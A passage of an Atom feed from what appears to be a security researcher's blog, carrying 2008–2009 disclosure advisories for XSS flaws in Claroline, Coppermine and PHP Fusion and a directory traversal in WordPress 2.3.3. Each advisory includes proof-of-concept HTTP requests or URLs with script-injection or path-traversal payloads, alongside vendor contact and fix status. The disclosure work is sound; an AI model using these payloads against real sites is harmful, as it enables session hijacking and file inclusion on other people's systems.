&lt;a href="http://feedads.g.doubleclick.net/~a/rKhB-czla-dFdZ6nXFO09-O6wt0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/rKhB-czla-dFdZ6nXFO09-O6wt0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/GsaSecurity/~4/sD2FimOeaBE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://gsasec.blogspot.com/feeds/5856706239150154780/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://gsasec.blogspot.com/2009/05/claroline-v1811-sql-injection.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7685892019341719992/posts/default/5856706239150154780?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7685892019341719992/posts/default/5856706239150154780?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/GsaSecurity/~3/sD2FimOeaBE/claroline-v1811-sql-injection.html" title="Claroline v.1.8.11 SQL Injection" /><author><name>Attila</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://gsasec.blogspot.com/2009/05/claroline-v1811-sql-injection.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkMDRXk-eCp7ImA9WxJREkQ.&quot;"><id>tag:blogger.com,1999:blog-7685892019341719992.post-6410039762648055113</id><published>2009-05-05T16:25:00.004+03:00</published><updated>2009-05-14T13:54:34.750+03:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-14T13:54:34.750+03:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Advisories" /><title>Claroline v.1.8.11 Cross-Site Scripting</title><content type="html">Author: Gerendi Sandor Attila (http://gsasec.blogspot.com/)&lt;br /&gt;Date: May 05, 2009&lt;br /&gt;Package: Claroline (1.8.11)&lt;br /&gt;Product Homepage: http://www.claroline.net/&lt;br /&gt;Versions Affected: v.1.8.11 (Other versions may also be affected)&lt;br /&gt;Severity: Medium&lt;br /&gt;&lt;br /&gt;Input passed to the 'Referer' header parameter when posting to '/claroline/linker/notfound.php' is not sanitized before it is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;&lt;pre&gt;GET /claroline_1_8_11/claroline/linker/notfound.php HTTP/1.0&lt;br /&gt;Accept: */*&lt;br /&gt;Referer: "&amp;gt;&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&amp;lt;a href="&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;There are a couple of ways to inject arbitrary text (java script in our case) in the referer header parameter. One of the ways is using a rewrite rule on the remote attacker server. Example .htaccess file:&lt;br /&gt;&lt;pre&gt;RewriteEngine  on&lt;br /&gt;RewriteRule ^referer/.*$ test.php [L]&lt;br /&gt;&lt;/pre&gt;Where the test.php file will be the container of the /claroline_1_8_11/claroline/linker/notfound.php link.&lt;br /&gt;&lt;br /&gt;Now a request like: http://remoteatackersite/referer/?"&amp;gt;&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&amp;lt;a%20href="&lt;br /&gt;&lt;br /&gt;will return a page from wich if we call /claroline_1_8_11/claroline/linker/notfound.php we trigger the XSS.&lt;br /&gt;&lt;br /&gt;Note: For the first request browsers like IE are required (which does not automatically httpencode the get params)&lt;br /&gt;&lt;br /&gt;Status:&lt;br /&gt;1. Contacted the author at: May 05, 2009 via http://forum.claroline.net/.&lt;br /&gt;2. The author promptly (same day) fixed the problem, read at: &lt;a href="http://forum.claroline.net/viewtopic.php?f=69&amp;amp;t=16193&amp;amp;p=42102#p42099"&gt;Re: Claroline 1.8.11 Cross-Site &lt;/a&gt;&lt;a href="http://forum.claroline.net/viewtopic.php?f=69&amp;amp;t=16193&amp;amp;p=42102#p42099"&gt;Scripting&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7685892019341719992-6410039762648055113?l=gsasec.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/EjpEMoy1RUyoHvyXRq0eAcG3phA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/EjpEMoy1RUyoHvyXRq0eAcG3phA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/EjpEMoy1RUyoHvyXRq0eAcG3phA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/EjpEMoy1RUyoHvyXRq0eAcG3phA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/GsaSecurity/~4/kBhYoPfD5eA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://gsasec.blogspot.com/feeds/6410039762648055113/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://gsasec.blogspot.com/2009/05/claroline-v1811-cross-site-scripting.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7685892019341719992/posts/default/6410039762648055113?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7685892019341719992/posts/default/6410039762648055113?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/GsaSecurity/~3/kBhYoPfD5eA/claroline-v1811-cross-site-scripting.html" title="Claroline v.1.8.11 Cross-Site Scripting" /><author><name>Attila</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://gsasec.blogspot.com/2009/05/claroline-v1811-cross-site-scripting.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkMDRXk-eCp7ImA9WxJREkQ.&quot;"><id>tag:blogger.com,1999:blog-7685892019341719992.post-732332973709325185</id><published>2009-04-30T12:10:00.008+03:00</published><updated>2009-05-14T13:54:34.750+03:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-14T13:54:34.750+03:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Advisories" /><title>Coppermine Photo Gallery v.1.4.21 Cross-Site Scripting</title><content type="html">Author: Gerendi Sandor Attila&lt;br /&gt;Date: April 29, 2009&lt;br /&gt;Package: Coppermine Photo Gallery (cpg1.4.21)&lt;br /&gt;Product Homepage: &lt;a href="http://coppermine-gallery.net/" target="_blank"&gt;http://coppermine-gallery.net/&lt;/a&gt;&lt;br /&gt;Versions Affected: v.1.4.21 (older versions are also affected)&lt;br /&gt;Severity: Medium&lt;br /&gt;&lt;br /&gt;Input passed to the 'css' parameter from '/docs/showdoc.php' is not sanitized before it is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.&lt;br /&gt;&lt;br /&gt;Example: &lt;pre style="margin-top: 0pt; display: inline;"&gt;http://somehost/docs/showdoc.php?css=1&gt;"&gt;&lt;script%20%0a%0d&gt;alert(123)%3B&lt;/script%20%0a%0d&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Status:&lt;br /&gt;1. Contacted the author on April 29, 2009.&lt;br /&gt;2. The vendor responded promptly (on April 30, 2009) releasing a security release which fixes the issue, read at:&lt;br /&gt;&lt;a href="http://forum.coppermine-gallery.net/index.php/topic,59247.0.html"&gt;cpg1.4.22 Security release - upgrade mandatory&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7685892019341719992-732332973709325185?l=gsasec.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/fKsCBxSuz3cy2jw73F0cMbMThdE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/fKsCBxSuz3cy2jw73F0cMbMThdE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/fKsCBxSuz3cy2jw73F0cMbMThdE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/fKsCBxSuz3cy2jw73F0cMbMThdE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/GsaSecurity/~4/FgwTndTF87U" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://gsasec.blogspot.com/feeds/732332973709325185/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://gsasec.blogspot.com/2009/04/coppermine-photo-gallery-1421-cross.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7685892019341719992/posts/default/732332973709325185?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7685892019341719992/posts/default/732332973709325185?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/GsaSecurity/~3/FgwTndTF87U/coppermine-photo-gallery-1421-cross.html" title="Coppermine Photo Gallery v.1.4.21 Cross-Site Scripting" /><author><name>Attila</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://gsasec.blogspot.com/2009/04/coppermine-photo-gallery-1421-cross.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkMDRXk-eCp7ImA9WxJREkQ.&quot;"><id>tag:blogger.com,1999:blog-7685892019341719992.post-7907449411656316776</id><published>2008-05-01T12:59:00.005+03:00</published><updated>2009-05-14T13:54:34.750+03:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-14T13:54:34.750+03:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Advisories" /><title>PHP Fusion v.6.00.307 Cross-Site Scripting</title><content type="html">Author: Gerendi Sandor Attila&lt;br /&gt;Date: April 23, 2008&lt;br /&gt;Package: PHP Fusion&lt;br /&gt;Product Homepage: &lt;a href="http://www.php-fusion.co.uk/"&gt;http://www.php-fusion.co.uk/&lt;/a&gt;&lt;br /&gt;Versions Affected: v.6.00.307 (Other versions may also be affected)&lt;br /&gt;Severity: XSS&lt;br /&gt;&lt;br /&gt;Input passed to "subject" parameter in "contact.php" is not properly sanitized before being used. This can be exploited to insert arbitrary HTML and script code, which is executed in a user's browser session in context of an affected site when malicious data is viewed.&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;&lt;pre&gt;POST http://somehost/phpfusion_6_00_307/contact.php HTTP/1.0&lt;br /&gt;Accept: */*&lt;br /&gt;Content-Type: application/x-www-form-urlencoded&lt;br /&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)&lt;br /&gt;Host: 127.0.0.1&lt;br /&gt;Content-Length: 115&lt;br /&gt;Cookie: fusion_visited=yes&lt;br /&gt;Connection: Close&lt;br /&gt;Pragma: no-cache&lt;br /&gt;&lt;br /&gt;sendmessage=Send%20Message&amp;amp;mailname=x&amp;amp;email=x&amp;amp;subject=&amp;lt;script&amp;gt;alert("xss")&amp;lt;/script&amp;gt;&amp;amp;message=x&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Status:&lt;br /&gt;1. Contacted the author at April 23, 2008 via http://mantis.php-fusion.co.uk/.&lt;br /&gt;2. No response&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7685892019341719992-7907449411656316776?l=gsasec.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/dVTUuRfL7BCvnIqs033fskuvYsA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/dVTUuRfL7BCvnIqs033fskuvYsA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/dVTUuRfL7BCvnIqs033fskuvYsA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/dVTUuRfL7BCvnIqs033fskuvYsA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/GsaSecurity/~4/hXldr9nwf_c" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://gsasec.blogspot.com/feeds/7907449411656316776/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://gsasec.blogspot.com/2008/05/php-fusion-v600307-cross-site-scripting.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7685892019341719992/posts/default/7907449411656316776?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7685892019341719992/posts/default/7907449411656316776?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/GsaSecurity/~3/hXldr9nwf_c/php-fusion-v600307-cross-site-scripting.html" title="PHP Fusion v.6.00.307 Cross-Site Scripting" /><author><name>Attila</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://gsasec.blogspot.com/2008/05/php-fusion-v600307-cross-site-scripting.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkMDRXk-eSp7ImA9WxJREkQ.&quot;"><id>tag:blogger.com,1999:blog-7685892019341719992.post-8294092434413188158</id><published>2008-04-01T12:43:00.011+03:00</published><updated>2009-05-14T13:54:34.751+03:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-14T13:54:34.751+03:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Advisories" /><title>Wordpress v.2.3.3 Directory Traversal</title><content type="html">Author: Gerendi Sandor Attila&lt;br /&gt;Date: April 01, 2008&lt;br /&gt;Package: Wordpress&lt;br /&gt;Product Homepage: &lt;a href="http://wordpress.org/"&gt;http://wordpress.org/&lt;/a&gt;&lt;br /&gt;Versions Affected: v.2.3.3 (Other versions may also be affected)&lt;br /&gt;Severity: High&lt;br /&gt;&lt;br /&gt;The parameter “cat” in “index.php” is vulnerable to directory traversal attacks and possibly to arbitrary code inclusion/execution.&lt;br /&gt;&lt;br /&gt;In “template-loader.php” line 35- 37 we have:&lt;br /&gt;&lt;pre&gt;else if ( is_category() &amp;amp;&amp;amp; $template = get_category_template()) {&lt;br /&gt;include($template);&lt;br /&gt;return;&lt;br /&gt;&lt;/pre&gt;the $template variable is supplied by the:&lt;br /&gt;&lt;pre&gt;function get_category_template() {&lt;br /&gt;$template = '';&lt;br /&gt;if ( file_exists(TEMPLATEPATH . "/category-" . get_query_var('cat') . '.php') )&lt;br /&gt;$template = TEMPLATEPATH . "/category-" . get_query_var('cat') . '.php';&lt;br /&gt;elseif ( file_exists(TEMPLATEPATH . "/category.php") )&lt;br /&gt;$template = TEMPLATEPATH . "/category.php";&lt;br /&gt;return apply_filters('category_template', $template);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;Here we see, we can inject values after “TEMPLATEPATH/category- ...”.&lt;br /&gt;One interesting 'feature' in Windows XP (possibly in some other OS too) is that we can use an existing file as base for directory traversal. For example path like “c:\boot.ini\..\boot.ini” is valid and will point to “c:\boot.ini”.&lt;br /&gt;&lt;br /&gt;So if the Wordpress is running on a box which behave like Windows XP and there is a category template on the server named “category-xx.php” we can include arbitrary php files from the server trough the “cat” parameter.&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;&lt;br /&gt;If we have template for category 1 (category-1.php)&lt;br /&gt;“http://somehost/worpress/?cat=1.php/../searchform” will include the “searchform.php” from the curent template directory.&lt;br /&gt;&lt;br /&gt;Status:&lt;br /&gt;1. Contacted the author on April 01, 2008.&lt;br /&gt;2. Author promptly responded with:&lt;br /&gt;http://trac.wordpress.org/changeset/7586&lt;br /&gt;This will be in our upcoming 2.5.1 release.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7685892019341719992-8294092434413188158?l=gsasec.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Zud5pEOxNQtwxktKecJ1diG6f1c/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Zud5pEOxNQtwxktKecJ1diG6f1c/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Zud5pEOxNQtwxktKecJ1diG6f1c/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Zud5pEOxNQtwxktKecJ1diG6f1c/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/GsaSecurity/~4/__Trxg8fBjY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://gsasec.blogspot.com/feeds/8294092434413188158/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://gsasec.blogspot.com/2008/04/author-gerendi-sandor-attila-date-april.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7685892019341719992/posts/default/8294092434413188158?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7685892019341719992/posts/default/8294092434413188158?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/GsaSecurity/~3/__Trxg8fBjY/author-gerendi-sandor-attila-date-april.html" title="Wordpress v.2.3.3 Directory Traversal" /><author><name>Attila</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://gsasec.blogspot.com/2008/04/author-gerendi-sandor-attila-date-april.html</feedburner:origLink></entry></feed>

